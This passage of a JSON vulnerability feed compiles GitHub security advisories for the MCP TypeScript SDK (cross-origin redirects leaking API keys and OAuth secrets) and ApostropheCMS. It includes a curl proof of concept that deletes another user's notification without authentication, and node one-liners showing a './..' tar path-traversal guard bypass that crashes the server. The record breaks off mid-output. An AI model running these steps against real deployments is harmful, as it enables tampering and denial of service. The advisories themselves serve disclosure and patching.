GHSA-698v-4r3x-3vcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-698v-4r3x-3vcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-698v-4r3x-3vcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-698v-4r3x-3vcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-698v-4r3x-3vcv, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112943&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112943, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111769","cveId":"CVE-2026-111769","aliases":["GHSA-6prh-2h8m-c8cw"],"kind":"vulnerability","title":"MCP TypeScript client SDK: HTTP client transports and OAuth requests followed cross-origin redirects and re-sent custom headers and request bodies","summary":"If an MCP server or authorization server redirected a request to another origin, that origin received custom request headers (such as an `X-API-Key` set in `requestInit.headers`) and the `mcp-session-id` header. On a `307` or `308` it also received the request body, including OAuth token requests with their `refresh_token` and `client_secret`.\n\nOn current runtimes `fetch` already drops the `Authorization` header across origins.","detail":"### Summary\nIn affected versions, the SDK's HTTP client transports and OAuth requests followed redirects to any origin.\n\nIf an MCP server or authorization server redirected a request to another origin, that origin received custom request headers (such as an `X-API-Key` set in `requestInit.headers`) and the `mcp-session-id` header. On a `307` or `308` it also received the request body, including OAuth token requests with their `refresh_token` and `client_secret`.\n\nOn current runtimes `fetch` already drops the `Authorization` header across origins.\n\n### Am I affected?\nYes, if your application uses `StreamableHTTPClientTransport`, `SSEClientTransport`, or the SDK's OAuth client functions such as `auth()`. stdio clients are not affected.\n\nAffected versions:\n\n- `@modelcontextprotocol/sdk` all versions through 1.31.0\n- `@modelcontextprotocol/client` 2.0.0 through 2.2.0\n\n### Fix\nUpgrade to:\n\n- 1.x: `@modelcontextprotocol/sdk` 1.32.0 or later\n- 2.x: `@modelcontextprotocol/client` 2.3.0 or later\n\nRedirects are now followed only within the same origin, and not at all in browsers. If your MCP server or authorization server redirects to another origin on purpose, configure the final URL instead. Setting `redirectPolicy: 'follow'` on a transport restores the old behaviour and the exposure.\n\nIf a redirect may have reached a host you do not control, rotate the API keys and `client_secret` your application held and revoke its tokens.\n\nIf you cannot upgrade yet, pass a `fetch` that refuses redirects, for example `(url, init) => fetch(url, { ...init, redirect: 'error' })`.\n\nAffected package ranges reported by GitHub:\n@modelcontextprotocol/sdk: < 1.32.0\n@modelcontextprotocol/client: >= 2.0.0, < 2.3.0","action":"GitHub lists first patched versions: @modelcontextprotocol/sdk: 1.32.0; @modelcontextprotocol/client: 2.3.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:26:30.000Z","updatedAt":"2026-10-20T18:26:32.000Z","regions":["Global"],"vendor":null,"product":"@modelcontextprotocol/sdk, @modelcontextprotocol/client","stacks":["MCP servers and SDKs","JavaScript packages (npm)","@modelcontextprotocol/sdk","@modelcontextprotocol/client","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-6prh-2h8m-c8cw","asOf":"2026-10-20T18:26:32.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-6prh-2h8m-c8cw","url":"https://github.com/advisories/GHSA-6prh-2h8m-c8cw","type":"primary","publishedAt":"2026-10-20T18:26:30.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-6prh-2h8m-c8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-6prh-2h8m-c8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-6prh-2h8m-c8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-6prh-2h8m-c8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-6prh-2h8m-c8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-6prh-2h8m-c8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-6prh-2h8m-c8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-6prh-2h8m-c8cw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-6prh-2h8m-c8cw, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113653","cveId":"CVE-2026-113653","aliases":["GHSA-xf6w-q65w-4f2w"],"kind":"vulnerability","title":"ApostropheCMS: The general public can access @apostrophecms/user objects via a relationship (viewRole is not applied to the general public)","summary":"This is greatly mitigated by the fact that there is no automatic public REST API for any content type. One has to expressly allow it. However, it does mean that developers can make the mistake of setting up a relationship between a content type like a blog post, and `@apostrophecms/user`. This could potentially expose some sensitive information if templates were written poorly, e.g. if they JSON-serialized the entire object. Note that password hashes are NOT affected because they reside in a separate collection.\n\nThe public demo project and its various flavors must be updated first because it inadvertently relies on the bug.","detail":"### Impact\nEven though it is correctly applied to guests, contributors, etc., `viewRole` is not applied to the general public. This means that a secured content type like `@apostrophecms/user` can in theory be accessed.\n\nThis is greatly mitigated by the fact that there is no automatic public REST API for any content type. One has to expressly allow it. However, it does mean that developers can make the mistake of setting up a relationship between a content type like a blog post, and `@apostrophecms/user`. This could potentially expose some sensitive information if templates were written poorly, e.g. if they JSON-serialized the entire object. Note that password hashes are NOT affected because they reside in a separate collection.\n\nThe public demo project and its various flavors must be updated first because it inadvertently relies on the bug.\n\n### Patches\n4.33.0\n\n### Workarounds\nNever create relationships with `@apostrophecms/user` that are intended for non-admin display. If you need a relationship that expresses authorship, create a separate author piece type to publicly represent that.\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.33.0","action":"GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:26:02.000Z","updatedAt":"2026-10-20T18:26:03.000Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-xf6w-q65w-4f2w","asOf":"2026-10-20T18:26:03.000Z"},"epss":{"probability":0.00387,"percentile":0.3254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113653&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xf6w-q65w-4f2w","url":"https://github.com/advisories/GHSA-xf6w-q65w-4f2w","type":"primary","publishedAt":"2026-10-20T18:26:02.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xf6w-q65w-4f2w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-xf6w-q65w-4f2w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-xf6w-q65w-4f2w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-xf6w-q65w-4f2w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-xf6w-q65w-4f2w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-xf6w-q65w-4f2w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-xf6w-q65w-4f2w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-xf6w-q65w-4f2w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-xf6w-q65w-4f2w, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113653&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113653, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113665","cveId":"CVE-2026-113665","aliases":["GHSA-vwwx-px9w-crrc"],"kind":"vulnerability","title":"ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints","summary":"The notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.\n\nAs a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.","detail":"## Summary\n\nThe notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.\n\nAs a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.\n\n---\n\n## Affected Code\n\n**File**\n\n```text\npackages/apostrophe/modules/@apostrophecms/notification/index.js\n```\n\n```javascript\n// restApiRoutes\nasync patch(req, _id) {\n const dismissed = self.apos.launder.boolean(req.body.dismissed);\n\n if (dismissed) {\n await self.emit('beforeSave', req, { _id, dismissed });\n\n await self.db.updateOne(\n { _id },\n {\n $set: { dismissed },\n $currentDate: { updatedAt: true }\n }\n );\n }\n},\n\nasync delete(req, _id) {\n await self.db.deleteMany({ _id });\n}\n```\n\nUnlike the `GET` notification route, these handlers do **not** verify:\n\n- Authentication (`req.user`)\n- Ownership (`userId === req.user._id`)\n- Authorization or permissions\n\nInstead, the supplied `_id` is used directly against the raw MongoDB collection.\n\n---\n\n## Root Cause\n\nThe notification REST endpoints perform database operations directly using `self.db` without enforcing authentication or authorization.\n\nWhile the framework provides permission primitives (`req.user`, ownership checks, and `apos.permission`), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.\n\nFor comparison, the `GET` notification route correctly checks:\n\n```javascript\nif (!(req.user && req.user._id)) {\n throw self.apos.error('invalid');\n}\n```\n\nNo equivalent validation exists in the `PATCH` or `DELETE` handlers.\n\n---\n\n## Proof of Concept\n\n### 1. Log in as an administrator\n\n```bash\ncurl -sS -c admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/login/context\" \\\n-o /dev/null\n\ncurl -sS \\\n-b admin_cookies.txt \\\n-c admin_cookies.txt \\\n-X POST \\\nhttp://localhost:4321/api/v1/@apostrophecms/login/login \\\n-H \"Content-Type: application/json\" \\\n-H \"X-XSRF-TOKEN: csrf\" \\\n-d '{\n \"username\":\"admin\",\n \"password\":\"AdminP@ssw0rd123!\",\n \"session\":true\n}'\n```\n\n---\n\n### 2. Create a notification\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n-X POST \\\nhttp://localhost:4321/api/v1/@apostrophecms/notification \\\n-H \"Content-Type: application/json\" \\\n-H \"X-XSRF-TOKEN: csrf\" \\\n-d '{\n \"message\":\"manual verify test\",\n \"type\":\"info\"\n}'\n```\n\nExample response:\n\n```json\n{\n \"noteId\":\"p358r7phi2w8l245ww5130uf\"\n}\n```\n\n---\n\n### 3. Verify the notification exists\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\"\n```\n\nResponse:\n\n```json\n{\n \"notifications\":[\n {\n \"_id\":\"p358r7phi2w8l245ww5130uf\",\n \"userId\":\"i89h844o5n3nbreis0ugusum\",\n \"message\":\"manual verify test\"\n }\n ],\n \"dismissed\":[]\n}\n```\n\n---\n\n### 4. Access the endpoint without authentication\n\nCreate a fresh cookie jar containing only the public CSRF cookie:\n\n```bash\nrm -f anon_cookies.txt\n\ncurl -sS \\\n-c anon_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/login/context\" \\\n-o /dev/null\n```\n\nThen send the request **without any authenticated session**:\n\n```bash\ncurl -i \\\n-b anon_cookies.txt \\\n-X DELETE \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\" \\\n-H \"X-XSRF-TOKEN: csrf\"\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\n```\n\n---\n\n### 5. Verify the notification has been deleted\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\"\n```\n\nResponse:\n\n```json\n{\n \"notifications\":[],\n \"dismissed\":[]\n}\n```\n\nThe notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.\n\n---\n\n## Impact\n\nAn attacker who obtains a valid notification ID can:\n\n- Delete another user's notifications.\n- Mark another user's notifications as dismissed.\n- Suppress security-related or administrative notifications.\n\nThe vulnerability primarily affects **integrity**.\n\nAlthough notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.\n\n---\n\n## Recommended Fix\n\nRequire authentication before processing any modification request.\n\nAdditionally, scope all database operations to the authenticated user.\n\nExample:\n\n```javascript\n// patch\nasync patch(req, _id) {\n if (!req.user) {\n throw self.apos.error('forbidden');\n }\n const dismissed = self.apos.launder.boolean(req.body.dismissed);\n if (dismissed) {\n await self.emit('beforeSave', req, { _id, dismissed });\n const result = await self.db.updateOne(\n { _id, userId: req.user._id }, // <-- ownership check\n { $set: { dismissed }, $currentDate: { updatedAt: true } }\n );\n if (!result.matchedCount) {\n throw self.apos.error('notfound');\n }\n }\n},\n// delete\nasync delete(req, _id) {\n if (!req.user) {\n throw self.apos.error('forbidden');\n }\n const result = await self.db.deleteMany({ _id, userId: req.user._id });\n if (!result.deletedCount) {\n throw self.apos.error('notfound');\n }\n}\n```\n\nSimilarly, update the `PATCH` handler to verify both authentication and ownership before updating notification records.\n\n---\n\n## Recommendation\n\nEvery notification modification endpoint should:\n\n- Require authentication.\n- Verify ownership (`userId === req.user._id`).\n- Return `403 Forbidden` for unauthorized requests.\n- Avoid performing database operations solely using a user-controlled `_id`.\n\nThe same authorization checks should also be applied to any internal helper methods (such as `dismiss()`) that modify notification state.\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.33.0","action":"GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:25:38.000Z","updatedAt":"2026-10-20T18:25:38.000Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-vwwx-px9w-crrc","asOf":"2026-10-20T18:25:38.000Z"},"epss":{"probability":0.00276,"percentile":0.19849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113665&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-vwwx-px9w-crrc","url":"https://github.com/advisories/GHSA-vwwx-px9w-crrc","type":"primary","publishedAt":"2026-10-20T18:25:38.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113665&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113665, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113664","cveId":"CVE-2026-113664","aliases":["GHSA-97wv-p4xx-c7mg"],"kind":"vulnerability","title":"ApostropheCMS import-export tar guard misses './..' because it is a literal '../' substring test","summary":"The tar-extraction guard added to `@apostrophecms/import-export` for GHSA-mwxc-m426-3f78 is a literal substring test for `../`, and `./..` does not contain that substring. An entry named `./..` therefore passes the guard, `path.join` normalizes it to the parent of the export directory, and the resulting `fs.WriteStream` opens a directory and emits `EISDIR` with no `error` listener attached, which terminates the Node process.\n\nConfirmed on default-branch HEAD `1bd5d0a7a6fe880836fa75adad6964f1c577d640`, package version `3.6.2`.","detail":"### Summary\n\nThe tar-extraction guard added to `@apostrophecms/import-export` for GHSA-mwxc-m426-3f78 is a literal substring test for `../`, and `./..` does not contain that substring. An entry named `./..` therefore passes the guard, `path.join` normalizes it to the parent of the export directory, and the resulting `fs.WriteStream` opens a directory and emits `EISDIR` with no `error` listener attached, which terminates the Node process.\n\nConfirmed on default-branch HEAD `1bd5d0a7a6fe880836fa75adad6964f1c577d640`, package version `3.6.2`.\n\n### Details\n\n`packages/import-export/lib/formats/gzip.js`, in the tar-stream `entry` handler inside `extract(filepath, exportPath)`:\n\n```js\nconst name = header.name.replace(/\\\\/g, '/');\nif (name.includes('../')) {\n // skipped\n}\n...\nstream.pipe(fs.WriteStream(path.join(exportPath, name)));\n```\n\nTwo separate problems sit in those four lines. The guard tests the raw entry name for a substring instead of resolving the joined path and requiring containment, and the write stream has no `error` handler, so any stream error becomes an unhandled `'error'` event.\n\nReaching it needs an account that can import, nothing more. `packages/import-export/modules/@apostrophecms/import-export-page/index.js` exposes `post.importExportImport`, which calls into `lib/methods/import.js`; that handler requires `req.user` and then calls `format.input(exportPath)`, which for a `.gz` upload is `gzip.js` calling `extract()` on the uploaded archive.\n\n### PoC\n\nThis is not an end-to-end exploit. What follows is each of the three primitives the crash depends on, executed individually, plus a source-level trace of the route. The chain from `post.importExportImport` to `extract()` was read, not observed.\n\nThe guard misses the payload:\n\n```bash\nnode -e \"console.log('./..'.includes('../')); console.log('..'.includes('../')); console.log('a/./..'.includes('../'));\"\n```\n\n```text\nfalse\nfalse\nfalse\n```\n\n`path.join` then resolves it out of the export directory:\n\n```bash\nnode -e \"const path=require('path'); const exportPath='/tmp/exportRoot'; console.log(path.join(exportPath,'./..'));\"\n```\n\n```text\n/tmp\n```\n\nAnd a write stream opened on a directory, with no `error` listener, kills the process rather than failing the request:\n\n```bash\nnode -e \"const fs=require('fs'); const s=fs.createWriteStream('/tmp'); s.write('x'); s.end(); setTimeout(()=>console.log('still alive'),500);\"\n```\n\n```text\nevents.js:291\n throw er; // Unhandled 'error' event\n ^\n\nError: EISDIR: illegal operation on a directory, open '/tmp'\nEmitted 